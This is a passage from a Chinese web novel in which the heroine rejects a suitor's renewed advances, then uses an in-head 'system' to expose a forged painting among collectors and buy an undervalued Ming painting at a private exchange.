系统忽然又说:【宿主,扫描到新信息——那本《京华见闻录》的最后一页空白处,有用铅笔写的几行小字,内容涉及一处“藏在胡同深处的老书铺”,地址是……】 系统报出一串胡同名和门牌号。 【根据资料库比对,该地址在50年代后已无登记,疑似私人藏书处或早期地下书摊。建议宿主改日前往探索,可能触发后续任务。】 时墨眼睛亮了。这任务链,有点意思。 抽空去探探。 第23章 傍晚时分, 红星机械厂家属院,炊烟裹着饭菜香飘得到处都是。 下班的工人推着自行车陆续进门,孩子们攥着糖块疯跑, 搪瓷缸子碰撞的叮当声、邻里打招呼的吆喝声, 混着广播里的京剧唱段, 热热闹闹的烟火气裹着晚风扑面而来。 时墨推着自行车刚拐进胡同口, 就瞥见一个熟悉又扎眼的身影在家属院外徘徊,定睛一看,正是赵星宇。 他今天没穿那身时髦的牛仔喇叭裤,换了件半旧的白衬衫和蓝布裤,头发也梳得整齐了些, 但身上那股子艺术青年的跳脱气质还是藏不住。 他正伸着脖子往周围张望, 看到时墨的瞬间,眼睛“唰”地亮了, 几乎是连跑带颠地冲过来。 “时墨!你可回来了!” 时墨眉头一皱, 停下脚步,把自行车横在两人之间:“赵同志, 你有事?” “有事!当然有事!”赵星宇喘着气, 脸上是掩饰不住的激动, “我今天才看到报纸!就那个《青年报》!上面写你智斗人贩子的事!我的天, 你太厉害了!我当时一看照片就傻了——这不是我那天在师范大学见过的姑娘吗?!” 他语速飞快, 脸上是毫不掩饰的懊悔与热切:“然后我才知道,你爸就是时爱国师傅!上次我爸让我跟你相亲,说是个特别优秀的姑娘, 我以为他又骗我,以为你是那种一门心思过日子、不懂艺术的……” 他声音低下去,有点不好意思:“所以我当时就拒了, 连面都没去见,是我不对!我真没想到是你!我要是知道是你,我肯定——” 时墨还没激动,系统先吐槽上了【宿主,这男的也太双标了吧,谁相亲不是一门心思过日子,这话不就是嫌人土嫌人丑没文化,现在你真人什么了,立刻舔上来,yue了!】 【你该下班了。】 【我再看看,别让你被欺负了!】 【……】她怎么觉得系统是吃上瓜了? “赵同志。”时墨打断他,声音平淡无波,“所以你的意思是,如果我是个‘土里土气、不懂艺术、一门心思过日子’的姑娘,你就连见都不见。而因为你觉得我‘特别’,所以现在后悔了,跑来跟我说这些?” 赵星宇脸上的热切瞬间僵住,张了张嘴,半天说不出话来。 他眼神闪烁道:“我不是那个意思……我那时候不是……不是没了解你么,现在知道了,就不一样了啊!” “没什么不一样。”时墨打断他,声音冷了几分,“你喜欢的从来不是我,是报纸上那个‘见义勇为的美女作家’,是能给你长脸的名头。你从始至终都没尊重过我,也没真正想了解我是什么样的人。” “我……”赵星宇被问得一时语塞。 “如果我就是你说的那种姑娘呢?”时墨反问道,语气里听不出情绪,“如果我就是个普通的工厂女工,不懂你的吉他,不懂你的艺术,只想找个踏实人过日子——你还会站在这里,跟我说这些话吗?” 时墨戳破赵星宇的伪装,让他一时哑口无言 时墨直接替他回答了:“你不会。你连见都不会见。” 这话像一盆冷水,浇得赵星宇透心凉。他急了,声音拔高:“时墨!你不能这么想我!我是真的喜欢你!那天在师大第一眼看见你,我就——” “赵星宇同志。”时墨再次打断他,这次声音更冷了些,“首先,我们不熟,请你叫我全名或者时同志。其次,我对你没有感觉。你不是我喜欢的类型。” 这话太直接,太不留情面。 赵星宇从小被宠着长大,在文化局也是被捧着的主儿,哪受过这种对待?他脑子一热,声音更大了:“那你喜欢什么样的?!你总得给我个准话吧?!”他红着眼,死死盯着时墨,非要问出个结果。 这一嗓子,瞬间吸引了周围人的目光。 正往家走的张大妈停下脚步,拽了拽身边的李婶:“哎哎,那不是厂长家的儿子吗?咋跟时家闺女吵起来了?” “可不是嘛!时墨现在可是咱们这儿的名人,报纸电视都上了,厂长儿子咋还缠上她了?”李婶探头探脑,手里的菜篮子都忘了提。 几个刚下班的工友停好自行车也围了过来,交头接耳道:“我听说之前厂长托人给他儿子介绍对象,好像就是时家闺女,不过他那时候嫌人普通来着!” “哟,这是看时墨出息了,又后悔了?” “时墨那脾气,看着温和,骨子里傲着呢,能搭理他才怪!” 时墨心里叹了口气。她不想引人注目,可赵星宇这动静,想不引人注目都难。 她不想再跟他纠缠,决定速战速决:“我喜欢沉稳可靠、有分寸、尊重人,不看名头只看人的。比如——”她顿了顿,吐出三个字,“谢时昀。” 赵星宇像被雷劈了似的,呆在原地。 周围也安静了半秒,随即议论声更响了。 “谢时昀?厂长那个外甥?” “哎哟喂,怪不得,我有一次在厂子外碰巧见过,那可真是仪表堂堂!” “听说人家父母都是大学教授呢,教书育人,这叫、叫什么来着?” “书香门第。” “对对对。” “所以。”时墨推着自行车往前一步,声音不大,但足够清晰,“希望以后你不要再来找我,这是我最后一次跟你说话。再见。” 说完,她不再看赵星宇惨白的脸,推着车转身就往家属院里走,背影挺直,没有一丝留恋。 身后,赵星宇站在原地,看着她的背影,心里的爱慕、懊悔、不甘、愤怒搅成一团,最后只剩下被击碎的难堪。突然狠狠踢了一脚墙根,扭头就跑。那背影,怎么看怎么狼狈。 时墨一进院,就感觉无数道目光落在身上。 她面不改色,该打招呼打招呼:“王大妈,买菜回来了?” “哎,哎,回来了……”王大妈眼神躲闪,笑得有点尴尬。 “李师傅,车修好了?” “修、修好了……”李师傅尴尬地摸摸后脑勺。 时墨点点头,推车进了自家单元门。刚进门洞,刚才还假装淡定的邻里们瞬间凑成一团,叽叽喳喳地聊开了,声音压得低却满是八卦: “我的天,时墨这孩子嘴皮子也太溜了!直接把赵星宇说跑了!” “人家孩子可是写小说的,都登报了,嘴皮子可不厉害着。” “那也不能一点情面不留吧,厂长知道了不得生气?时墨她爸在厂里上班,不会受牵连吧?” “不能吧,时墨又没做错,是赵星宇自己找事!再说时墨现在是名人,厂长多少也得给点面子!” 议论声此起彼伏,不出半小时就传遍全院了。 时墨刚进家门,就闻见厨房传来的炒菜香。 李秀兰系着围裙,正拿着锅铲翻炒,听到关门动静,从厨房探出头来:“回来了?快洗手,饭马上就好。对了,刚才赵星宇来找你了,你碰见没?” 时墨换鞋的动作一顿:“妈,他来找你了?” “啊,来了,说找你有点事。我说你出去了,他就说在楼下等等。”李秀兰擦了擦手,走过来,压低声音,“墨墨,你跟赵星宇……是不是这段时间一直有联系?妈怎么不知道?” 时墨立刻否认:“可没有啊,你别瞎想。上次相亲之后,我俩就再没见过。” 她不想多提赵星宇,更不想让家里知道谢时昀替他表弟相亲的事,那会让她爸在厂里难做。 “真没有?”李秀兰狐疑地看着她,“那人家怎么找上门来了?我看还特意打扮了……” “妈,真没有。”时墨岔开话题,“我爸呢?我找他有点事。” “在屋里看报纸呢。” 时墨走进大屋,时爱国正坐在靠椅上认真翻看《工人日报》,见她进来,抬头笑了笑:“回来了?溜达得咋样?” “挺好的,淘了本旧书。”时墨在床边坐下,状似随意地问,“爸,最近厂里……赵厂长没找你说什么吧?” 时爱国放下报纸:“没有啊。厂长最近忙着厂里的生产任务,没找过我。咋了?” “没什么,就随便问问。”时墨犹豫了一下,“要是赵厂长因为赵星宇的事找你,你就说我不在家,或者直接推我身上。” 时爱国愣了愣,仔细看了看闺女的表情:“墨墨,是不是出啥事了?刚才楼下是不是赵星宇?” “嗯,见了一面,说了几句话。”时墨轻描淡写,“不太愉快。我怕他回去跟他爸说什么,影响你工作。” 时爱国笑了,摆摆手:“放心吧,赵厂长不是那种人。再说了,我闺女的事,轮不到别人指手画 脚。你要是不喜欢,直接说清楚就行,爸支持你。” 时墨心里一暖:“谢谢爸。” “跟爸说什么谢谢。”时爱国重新拿起报纸,“不过墨墨啊,爸得说一句——你现在还小,主要是学习。感情的事,不急。” “我知道。”时墨点头,“我现在的目标就是高考。” * 同一时间,谢时昀住的四合院里,却是另一番景象。 赵星宇红着眼眶冲进来时,谢时昀正在书房整理资料,门被“砰”地一声撞开,赵星宇冲进来,指着他的鼻子,哭腔的声音里满是崩溃:“谢时昀!你是不是早就知道时墨喜欢的是你?!” 谢时昀手里的钢笔顿了顿,抬眼看他:“你冷静点,这话什么意思?” “什么意思?”赵星宇喘着粗气,激动道,“时墨刚才跟我说,她喜欢的是你!就是因为你,她才看不上我!谢时昀你够可以的,藏得挺深啊!” 谢时昀沉默了几秒。 这个沉默,让赵星宇更崩溃了:“你果然……哥!你怎么能这样!明明是我先认识她的!虽然、虽然我当时没去相亲,但那是因为我不知道是她!你是我哥,你怎么能……” 谢时昀站起身,目光沉静地看着他:“小宇,你是个成年人。就算我真的对她有好感,那也是我的事。感情不是先来后到,更不是谁声大谁有理。” 赵星宇愣住。 “你今天去找她,是不是又冒冒失失,说了一堆不着调的话?”谢时昀问。 赵星宇低下头。 “时墨是个有主见的姑娘,她知道自己要什么。”谢时昀继续说,“你如果不是认真的,就别去打扰她。如果是认真的,就更应该尊重她——而不是像现在这样,跑到我这里来闹。” 赵星宇张了张嘴,想反驳,却找不到词。 “回去吧。”谢时昀重新拿起笔,“好好想想。感情不是儿戏,更不是你觉得‘有意思’就可以随便开始的。” 赵星宇在原地站了半晌,最终,像只斗败的公鸡,蔫头耷脑地走了。 屋里安静下来,谢时昀看着资料,却再也没法集中注意力。脑海里反复回荡着赵星宇的话——“时墨喜欢的是你”。 他指尖轻轻敲击着桌面,嘴角不自觉地勾起一抹极淡的弧度。 时墨,还真是……语出惊人。 他要不要就此去落实下“名头”? 第24章 谢时昀因为时墨那句“喜欢谢时昀”的话, 心绪始终难以平静。 明知是被时墨当挡箭牌,可一想到这话是从她嘴里说出,便遗憾未能亲耳听闻。但这倒也给了他一个顺理成章登门的由头。 等到周日, 时墨放假。谢时昀特意捯饬了下, 带上整理好的外贸技术资料, 往红星机械厂家属院去。 到了时家门口, 他抬手叩门。“咚咚”两声,开门的却是时建军。 时建军手里还攥着半张写满公式的草稿纸,见是谢时昀,连忙侧身把人往屋里让:“谢哥!你咋来了?快进来坐!”他热情得很,转身就去拿搪瓷缸子:“我给你倒杯水, 凉白开, 刚晾好的!” 谢时昀进了屋,扫了一眼, 屋里干净整洁, 桌上堆着时建军的复习资料,显然是刚在用功。“时师傅不在家?”他随口问, 目光却下意识往里屋瞟了眼。 “厂里临时有个技术会, 得晚上才回。”时建军递过水杯, 笑道, “谢哥你找我爸啥事?等他回来我转达!” 谢时昀握着微凉的水杯, 心里那点期待落了空。 他压下那丝失落,含笑摇头:“没什么要紧事。既然时师傅不在,就不多打扰了, 你好好看书,我先走了。” “哎,那多不好意思!”时建军连忙起身送他, “谢哥你放心,我肯定好好学,等我爸回来,我跟他说你来过!” “不用了,我这边不着急,下次见面再跟时师傅聊。” “也成,那你慢点走。” “好,留步。” * 与此同时,时墨已按系统导航,穿梭在迷宫般的胡同深处。 这里比家属院那边僻静得多,青砖灰瓦的墙头上爬了好多只爬山虎,门楼上的砖雕已经模糊,墙头长着枯草。老树的枝桠遮天蔽日,阳光只能漏下细碎的光斑。 偶尔有老人坐在门槛上晒太阳,收音机里咿咿呀呀唱着京剧。自行车铃铛声、小孩的追逐打闹声混在一起,是独属于胡同的生活气息。 系统导航的终点,是一条名叫“竹笤帚胡同”的僻静窄巷。 巷子深处,一扇不起眼的黑漆木门虚掩着,门楣上钉着块字迹模糊小木牌,隐约能辨出“书”字残痕。 时墨停车上前,叩响门环,见门未关严,便轻叩门板:“请问,有人在吗?” 院内无人应声,却有隐约的谈话声传来。 她犹豫片刻,轻轻推门而入。 院内景象令她一怔——两株石榴树枝叶繁茂,墙角兰草青翠,石桌上摆着未下完的围棋,透着文人雅趣。 正房门敞着,里面坐着五位老者,正围桌低声交谈。 时墨的突然出现,让屋内所有谈话戛然而止。 数道目光齐刷刷射来,带着惊愕与警惕。一位留着山羊胡的老者霍然起身,语气严厉:“你是谁?怎么找到这里进来的?” 时墨这才意识到自己闯入的似乎是个私人聚会。她举起手中的《京华见闻录》,坦然道:“各位前辈好,我叫时墨。前几天偶得这本《京华见闻录》,见最后一页记有此地址,说是昔年笔谈会旧址,今日得闲便循迹而来。我看门没关严,我敲了门询问后听到屋里有人说话,便冒昧推门,没想到打扰诸位雅聚,实在抱歉。” 她这番解释不卑不亢,倒让屋内气氛稍缓。 那位戴眼镜的唐先生扶了扶镜框,仔细打量她:“你真是《青年报》上那位智斗人贩的时墨?” “正是晚辈。”时墨颔首。 “稀奇。”一位穿劳动布衣服、手带老茧的奶奶开口,语气却温和了些,“这地方隐蔽,寻常人找不到。你能按着旧书地址摸来,也算有心。” 时墨笑着应了声:“让各位前辈见笑了,从小就喜欢这些有故事的老东西。” 【宿主,这里的东西全是真货!那幅明代《芥子园画谱》刻本值不少钱!清末宫墨、还有那套宋版书,绝了!】系统在脑海里嘚瑟,【我这鉴假能力可不是吹的,扫一眼就知道真假!】 时墨没理系统的嘚瑟,目光扫过桌上的物件,心里清楚自己现阶段融不进这个圈子——没钱、没资历,硬凑只会惹人反感。 她拱了拱手:“既然是私人聚会,我就不打扰各位了,改日再来淘书。” “小姑娘,你能找到这儿,也是缘分。”戴眼镜的中年男人指了指旁边的凳子,“坐。这地址,是这本《京华见闻录》的原主之一,一位姓赵的老先生留下的。他去世多年了,没想到这册子还在流转。” 老陈叹了口气:“老赵当年就爱在旧书上留这种‘暗号’,说是给有缘人指路。可惜啊,这些年找来的,没几个真懂行的。” 气氛有些感伤。时墨安静地听着,没有插话。 穿着蓝色劳动布工作服、手指粗糙像是老工人的奶奶忽然开口:“姑娘,你那事我看了报纸,干得漂亮!那些人贩子,就该抓!” 话题转到时墨身上,气氛活络了些。几位老人你一言我一语,问起那天的事。时墨简单说了说,语气平和,既不夸大也不自谦。 聊了一会儿,时墨见时候不早,便起身告辞:“几位老师继续,我就不多打扰了。” “不急。”唐老师摆摆手,从书架上抽出两本旧书递过来,“既然来了,带两本书走。一本是《北平风俗考》,一本是《京都戏园子旧闻》,都是讲京城风物的,你应该喜欢。” 时墨接过,道了谢,正要走,系统突然出声:【宿主!靠窗那个穿黑褂老头手里的《春山访友图》是赝品!仿得不错,但颜料含现代化学色素,纸张做旧手法粗糙,他还在跟旁边人炫耀,被坑都不知道。】 时墨顺势望去。靠窗处,一位清瘦的孙姓老者正手持卷轴,满面红光地对身旁老友炫耀:“老徐,你看看我这幅新得的王真《春山访友图》!这笔意、这墨韵,绝了!” 徐老凑近细观,点头赞道:“确有意境,这山石皴法,有王真之风。” 孙老得意捻须:“老夫这眼力,错不了!为这画,我可下了血本!” 时墨脚步微滞。她本不想多事,贸然提醒肯定得罪人,但见孙老珍若拱璧之态,显然所费不赀。若任其蒙在鼓里,日后损失更巨。 那边,孙老还在滔滔不绝:“你们看这山石的皴法,这笔意……老陈,你给掌掌眼。” 老陈戴上老花镜,凑近了仔细看,眉头越皱越紧。其他几人也小声议论,看法不一。 【你确定假的?】时墨再次确认道。 【绝对!要是真的,我工资全给你】系统拿出它最重视的工资保证道。 时墨信了。 她转身走回桌边,温声开口:“孙老,可否容晚辈一观?” 孙老一愣,见是时墨,虽不情愿,仍将画递过,叮嘱道:“小心些,这画金贵。” 时墨接过,凝神细观——实则在听系统分析。 【宿主,可指出以下三点:一、真品用明代‘院绢’,质地密实,此绢质疏松,是清末仿古绢。二、真品山石皴法以‘披麻皴’为主,兼用‘解索皴’,这幅皴法杂乱,有模仿痕迹。三、左下角‘王真之印’,真品印泥为明代矿物朱砂,颜色沉稳,此印泥虽颜色相近,但含近代化学成份,乃最大破绽!】 时墨抬起头,看向孙老,语气尽量委婉:“孙老,晚辈对书画所知尚浅,但听家里老人说过一些鉴赏门道。这幅画……依晚辈拙见,恐有些疑处。” 满室寂静。 所有人的目光都集中在时墨身上,刚才还低声交谈的声音戛然而止。 孙老脸色骤沉:“小姑娘,话不可乱说。此画是我从琉璃厂老藏家手中求得,人家祖上开画铺的,岂能有假?我浸淫此道数十载,还能走眼?!” 徐老轻扯时墨衣袖,低声劝道:“时墨,这行水深,慎言。” 唐老师亦皱眉,按住孙老手臂:“孙老,别激动,听听孩子怎么说。” “听什么听!”孙老气得胡子直颤,“她一个黄毛丫头,懂什么王真!我这幅画是老藏家手里收的,花了我近一年工资,怎可能是假的!” 时墨心里叹了口气,她就知道会这样。 但话已出口,她也不想缩回去,语气平静道:“孙老息怒。晚辈只是就画论画:其一,明代院绢质地紧密,摸起来厚实,此绢疏松发脆,是清末民初的仿古绢;其二,王真的披麻皴兼解索皴,线条流畅自然,这幅皴法杂乱,是刻意模仿的痕迹;其三,这方‘王真之印’印泥色泽偏亮,不类古印泥沉稳,历久弥深,且细闻有微刺鼻味,恐含近现代化学成份。” 她每说一句,孙老脸色就难看一分。等她说完,孙老已面无人色,一把夺回画轴,手颤声厉:“你、你信口雌黄!我……我找人来鉴!” 一直沉默的一位李姓老者忽然起身,接过画轴,取出放大镜细细察看。片刻,他抬头,神色复杂:“老孙……这印泥,确有问题。且这绢……我也觉得不对。” 专研纺织品的老奶奶凑近,摸了摸画绢,摇头叹息:“这非明绢,是清末仿古绢无疑。” 孙老踉跄一步,扶住桌沿,嘴唇哆嗦,抢过放大镜,对着画绢、印章挨个细看,越看脸色越灰败,最后“咚”地一声坐在椅子上,手里的画差点掉在地上:“我……我居然被人骗了……” 众人再看向时墨的眼神,已截然不同,从最初的审慎变成了震惊与佩服。 唐先生深吸一口气,叹道:“时墨姑娘,你这眼力,比我们这些老骨头还毒!” 徐老头也点头:“多亏你提醒,不然老孙还得拿着赝品到处炫耀,亏得更大!” 唐先生郑重看向时墨:“时墨同志,你……师承何人?” 时墨淡然一笑:“并无师承,只是平日喜读杂书,多看了些鉴赏典籍,加上胆子大,敢说罢了。今日冒昧,还请孙老及各位前辈海涵。” 见时候不早,时墨拱手告辞:“各位前辈,今日打扰了,我先回去了。” 徐老追至门口,神色感慨:“时墨,今日……多谢你。老孙性子倔,但非不明理。等他缓过来,会明白你是好意。” “徐老言重了。”时墨点点头,“今天打扰了。” 推车走出胡同,夕阳已经西斜。 系统小声问道:【宿主,您生气了吗?】 时墨摇摇头:【没有。就是觉得……收藏这事儿,戳破了,挺残忍的。】 【那您后悔提醒吗?】 时墨想了想:【不后悔。假的就是假的。他早晚会知道,早点知道,损失还小点。】 她回头望了一眼那扇紧闭的黑漆木门,嘴角微扬:【他会来找我的。】 时墨蹬车离去,身影渐融于暮色。 院内,唐先生抚须沉吟:“这姑娘……不简单。眼光毒,胆子大,话却留三分余地。” 徐老点头:“她若真想搅局,大可说得更绝。可她点到即止,给老孙留了颜面。” “且看她如何处事。”另一位老者缓缓道,“若她日后再来……咱们这‘聚贤斋’,或许该添个新座了。” 众人默然,各怀思量。 第25章 周三午休, 市一中的校园里静悄悄的,只有零星学生在操场散步。时墨刚趴在桌上想眯一会儿,就听见教室门口传来轻轻的叩门声。 “时墨同学在吗?” 熟悉的苍老嗓音, 时墨抬头一看, 竟是孙老。他穿了件熨帖的藏青衬衫, 头发梳得整齐, 手里拎着个深蓝色的布包,脸上带着温和的笑意,全然没了周日那天的激动失态,倒显出几分文人的儒雅气度。 教室里的同学都好奇地望过来。 时墨起身走出教室:“孙老?您怎么来了?” “特意来给你道歉的。”孙老走到走廊窗边,从布包里拿出个小巧的木盒, 递到她面前, “周日那天,是我失态了, 对不住啊。你一番好意提醒, 我却……唉,老糊涂, 脾气上来就收不住。你别往心里去。” 时墨没想到老爷子会专程跑一趟学校道歉, 连忙摆手:“孙老您言重了, 我没往心里去。那天我也是冒昧, 不该随便置喙您的藏品。” “不不不, 你说得对,说得好!”孙老脸上愧色更深,打开木盒, 里面是一方小巧的端砚,砚台温润,刻着简单的竹纹, “回去后我找了位真正懂行的老朋友仔细看了,确如你所言。那画……唉,不提了。亏得你点破,不然我还得继续当宝贝供着,更丢人现眼。” 午时阳光透过窗户照射进走廊,落在老人花白的头发上。比起周日那位因赝品而气急败坏、面红耳赤的老者,此刻的孙老眼神清亮,语气诚恳,倒真有几分传统文人的清癯风骨。 “这事儿让我明白,搞收藏啊,光凭年头长不行,还得时时警醒,不能固步自封。”孙老感慨一句,把木盒往时墨手里塞“这方老端砚,是我年轻时收的,不算什么稀世珍宝,但质地不错,适合写字画画。你喜欢淘旧物,又爱写东西,拿着用正好,算我一点心意,你可千万别推辞。” 时墨连忙推回去:“孙老,这可使不得。您能想明白就好,东西我真不能收。” “你不收就是不给我面子!”孙老板起脸,不由分说塞过来,“我活了大半辈子,最敬重的就是有真本事、心善的人。你年纪轻轻,眼光毒辣,还不怕得罪肯说实话,实在太难得了。这砚台你收下,就当是我谢谢你提醒了我。” 时墨见孙老态度坚决,再推辞就显得生分了,只好收下:“那我就却之不恭了,谢谢孙老。” “哎,这就对了!”孙老笑得眉眼舒展,“跟你说个事,周五下午西城那边有个小型的内部观摩交流会,说白了就是大家把手里想出手的、或者新淘来的宝贝拿出来,互相看看,有看中的就作价转让,或者以物易物,都是圈内人,不对外公开。” “这次都是新到的东西,听说有点意思。你想不想去看看?” 时墨犹豫了:“周五下午有课,恐怕去不了。” “这个好办。”孙老显然早有准备,“我跟你学校领导熟,帮你请个假,就说……带你参加个重要的文化活动,保证放学前把你送回来,绝不耽误学习。” 见时墨还在犹豫,孙老又压低声音道:“这次有几件东西是从南边刚送来的,路子正,品相好。说不定……能碰上真正的好东西。你眼力这么毒,不去可惜了。” 时墨心念微动:“那……麻烦孙老了。” “不麻烦不麻烦!”孙老笑呵呵的,“周五午休时,我提前来学校接你,咱们一起过去。” 送走孙老,时墨回到教室,把那方端砚小心翼翼地放进书包。同桌好奇地问:“时墨,那是谁啊?给你送的啥?” “一个忘年交的老爷爷,送了方砚台。”时墨笑了笑,没多解释。 【宿主!砚台是真的!清代中期的端砚,质地不错,也算值钱。】系统在脑海里兴奋道,【周五的品鉴会肯定有好东西,我到时候全程扫描,保证不遗漏任何宝贝!】 时墨喜闻乐见:【好,我就等你大显神通了!】 【我办事,你放心!】 * 周五午后,孙老果然提前到了学校,顺利帮时墨请到了半天假。 两人出了校门,坐上孙老提前叫来的“面的”朝西城方向驶去。 车子七拐八绕,最后停在一处僻静的院落前。青砖门楼,朱漆大门紧闭,看起来像是某处保存尚好的旧式宅邸。 孙老上前,有节奏地叩了叩门上铜环。片刻,门开了一条缝,里面的人认出孙老,这才将门打开。 孙老领着时墨进去,院子里已经来了不少人,有上次聚贤斋见过的几位老者,还有几个陌生的中、老年男女,都穿着整洁,气氛安静。见孙老带了个年轻姑娘进来,不少人都投来好奇的目光。 “老孙,来了?”唐老师迎上来,看到时墨,眼神闪过一丝诧异。 “老孙,这位是?”一位戴着圆眼镜、头发花白的老者问道。 “这是我家小辈,也喜欢老物件,带她来见见世面。”孙老笑着介绍,领着时墨在靠后的位置坐下。 其他人闻言,都好奇地打量了眼时墨。但大家都是圈内人,也没多问,只是客气地点点头。 时墨快速扫视了一圈环境。院子里的石桌上、长凳上,已经摆了不少物件:旧书、字画、铜器、玉器、砚台,琳琅满目。大家三三两两地围在一起,低声交谈,偶尔拿起物件翻看、摩挲,气氛安静又热烈。 【宿主!我开始扫描了!】系统立刻进入工作状态。 很快,前方主持人——一位清瘦的唐装老者简单讲了几句,便有人捧出第一件东西:一个青花缠枝莲纹的梅瓶。 交流以一种颇为含蓄的方式进行。 主持人会介绍物件来历,给出一个底价,感兴趣的人便低声报出自己的价格,或举手示意,最后由主持人确认归属。整个过程没有锤音,没有喧哗,甚至没有明确的“竞拍”字眼,更像是朋友间的转让。 时墨静静观察,系统则在脑海里不断汇报扫描结果: 【清代民窑青花瓶,品相完整,市场价值一般。】 【明代晚期铜香炉,真品,有修补痕迹。】 【民国仿清宫珐琅彩小碗,仿得不错,但胎质不对……】 东西一件件过,有真有假,有优有劣,价格也相对平和。时墨没有出手,只是默默学习着这个年代这种半地下交易的模式和氛围。 直到一个旧木匣被捧上来。 木匣打开,里面是一卷略显陈旧的画轴。 主持人语气平和:“明代吴门画派作品一幅,绢本设色,未具名款,有清人题跋。起价两百元。” 画卷被小心展开一部分,露出局部山水。笔法疏朗,墨色清润,山峦叠嶂间隐见屋舍、小舟。 场内泛起细微的议论声。无款画,价格不高,但风险也大。 孙老微微摇头,显然兴趣不大。 时墨却觉得这画看着眼熟。 【宿主,这是唐周的《繁秋山野图》,真迹!保存基本完好!】 时墨的心脏猛地一缩,血液瞬间涌上头顶,手心沁出冷汗。 唐周的《繁秋山野图》! 她前世在博物馆隔着玻璃看过仿品,了解过它的传奇和天价。如果系统鉴定无误……眼前这卷看似不起眼的旧画,是足以引发轰动的国宝!后来价值高到禁止出境! 它怎么会流落到这种小型的私人交流会?是持有者根本不知其价值?还是另有隐情? 主持人已经开始询问:“五百元,有哪位同志感兴趣?” 场内安静。无款画,又是“吴门画派”这种泛泛之称,五百元在此时不算小数目,无人轻易出手。 时墨强迫自己冷静下来,不能表露出异样让人察觉异样。 “五百一十元。”一个低沉的声音从侧面响起。 时墨循声望去,是个穿着灰色夹克、面容平淡无奇的中年男人。 “五百三十。”另一角有人轻声加价。 价格缓慢攀升,到了五百八十元,便停了下来。显然,在大多数人眼里,这只是一幅品相尚可、但来历不明的无款古画,六百元已是极限。 主持人环视一圈:“五百八十元,还有哪位同志……” 时墨深吸一口气,在主持人即将落音前,轻轻举了一下手。 所有人的目光瞬间聚焦在这个一直沉默的年轻姑娘身上。 孙老也诧异地看着她,低声道:“小墨,这画……你可看准了?” 时墨微微点头,目光沉静地看向主持人,清晰吐字: “六百元。” 全场一静。 随即,轻微的哗然响起。六百元买一幅无款画,在这场合已属高价。 之前出价五百八的那位摇了摇头,放弃了。 穿灰色夹克的中年男人眯眼看了看时墨,又看了看她身旁的孙老,沉默片刻,最终也没有再加价。 “六百元,成交。”主持人的小惊堂木轻轻落在铺了绒布的桌面上。 声音很轻。 却像惊雷,炸响在时墨心中。 她站起身,在众人各异的目光中,走向前方。 每走一步,她都感觉脚下的地面有些不真实。 那卷承载着六百年风雨、未来将光芒万丈的国宝,此刻,正静静躺在旧木匣中,等待她的靠近。 第26章 木匣入手的那一刻, 画轴的分量轻得像一片云,却压得时墨指尖微微发颤。 掌心不自觉收紧,感受到老木头特有的温润与岁月的凉意。 她垂着眼, 指尖轻轻抚过泛黄的绢面, 墨香混着旧纸的霉味钻入鼻腔, 这一刻时墨才真正意识到——这幅《繁秋山野图》, 属于她了。 心脏突然像被一只无形的手攥紧,狂跳不止。 时墨面上平静无波,只是冲主持人微微颔首,将木匣稳稳抱在怀里,连眼神都没多露一丝异样, 返回座位。 接下来的时间里, 时墨一直处于一种奇异的恍惚状态。周遭的低声交谈、陆续上场的物件、系统的持续扫描播报……都像是隔着一层毛玻璃,模糊而遥远。 【警告:宿主心率持续超过125次/分钟, 血压升高, 肾上腺素水平异常。建议立刻停止当前活动,休息观察。若持续此状态, 有突发心血管风险。】系统的警报声在脑海里急促响起, 着急的关心道, 【宿主你没事吧!】 时墨深吸一口气, 压下翻涌的情绪, 冷静道:【我没事,只是有点激动。】 【根据生理数据监测,这已超出‘有点激动’范畴。我不理解, 一件艺术品而已,为何会引发宿主如此剧烈的生理反应。它的物质构成是绢、墨、矿物颜料,它的市场价值有待评估, 但不应危及宿主健康。】系统满是不解,在它的数据库里,再珍贵的物件也比不上宿主的身体重要。 时墨轻轻摩挲着木匣边缘,感受着那细微的木刺刮过指腹。 【系统,你不懂。】时墨沉默片刻解释道,【这不是‘一件艺术品而已’。这是一个民族某个时代审美与精神的凝结,是穿越了至少六百年战火、流离、无知与遗忘,才侥幸抵达我们眼前的奇迹。它身上承载的东西……太重了。】 系统沉默了片刻,似乎在处理这段充满感性色彩的输入。【数据不足,无法完全解析。但宿主生理指标仍需关注。建议深呼吸,平复情绪。】 时墨依言,悄悄做了几个深长的呼吸。 台上的交流还在继续。 时墨强迫自己将一部分注意力拉回现场,让系统重新扫描。 之后,她又以三十五元的价格,拍下了一套共八册的清代木版刻本医书《济世良方辑要》。书页泛黄,边角有损,但内容完整,是清中期一位地方医官的临床汇编,颇有实用和文献价值。 下午四点半左右,观摩交流结束。主持人宣布稍后在西厢房备了简单的茶点,大家可以继续品鉴交流。 孙老看向时墨:“小墨,一起去坐坐?认识认识几位前辈。” 时墨此刻心神几乎全系在木匣和那套医书上,哪里还有心思应酬。她歉然摇头:“孙老,我就不去了,还得赶回学校,不然耽误下午最后一节课。” 孙老理解地点头:“也好,那我送你回去。” “不用麻烦您了孙老,我自己坐公交回去就行。”时墨忙说。 “那怎么行,你一个女孩子,还带着东西。”孙老不由分说,领着她跟几位相熟的老者打了招呼,便一同离开了院子。 回去的“面的”上,孙老几次看向时墨膝上的木匣,欲言又止。最终,还是忍不住轻声问:“小墨,那画……你真那么看好?” 时墨抱着木匣的手指微微收紧,面上却露出一个恰到好处的、带着点不确定的笑容:“孙老,我也说不好。就是觉得……那山水的气韵特别舒服,笔法也老道。就算是无款,应该也是当时高手所作。六百元,就当是赌一把,亏了也算长个教训,万一……万一有点价值呢?” 她将话说得留有余地,既不过分肯定引来深究,也解释了自己为何肯出“高价”。 孙老听了,沉吟着点点头:“你看画的眼光,我是服气的。既然你觉得好,那自有你的道理。” “谢谢孙老夸赞。”时墨笑了笑。 车子在市一中门口停下。时墨抱着木匣和医书下车,再次向孙老道谢并告别,看着他坐车离开,才转身快步走进校园。 下午最后一节是自习课。 时墨从后门悄悄回到自己位于教室中后排的座位。 她的座位本就是全班最受关注的“明星位”——成绩第一、登过报纸、又是见义勇为的英雄,周围同学的目光时不时飘过来。 往常她并不在意这些目光,但今天,她第一次觉得这些无意扫过的视线,都可能落在她课桌抽屉里的那个旧木匣上。 她知道没人知道木匣的价值,而且之前抄袭事件导致她不在座位时根本没人敢多停留,东西不会丢。 可即便如此,她依然有些坐立难安。 时墨不断告诉自己:没人知道这是什么,在所有人眼里,这就是一卷普通的旧画。这个年代,校园里几乎没发生过偷窃事件,同学们单纯,门卫尽责。 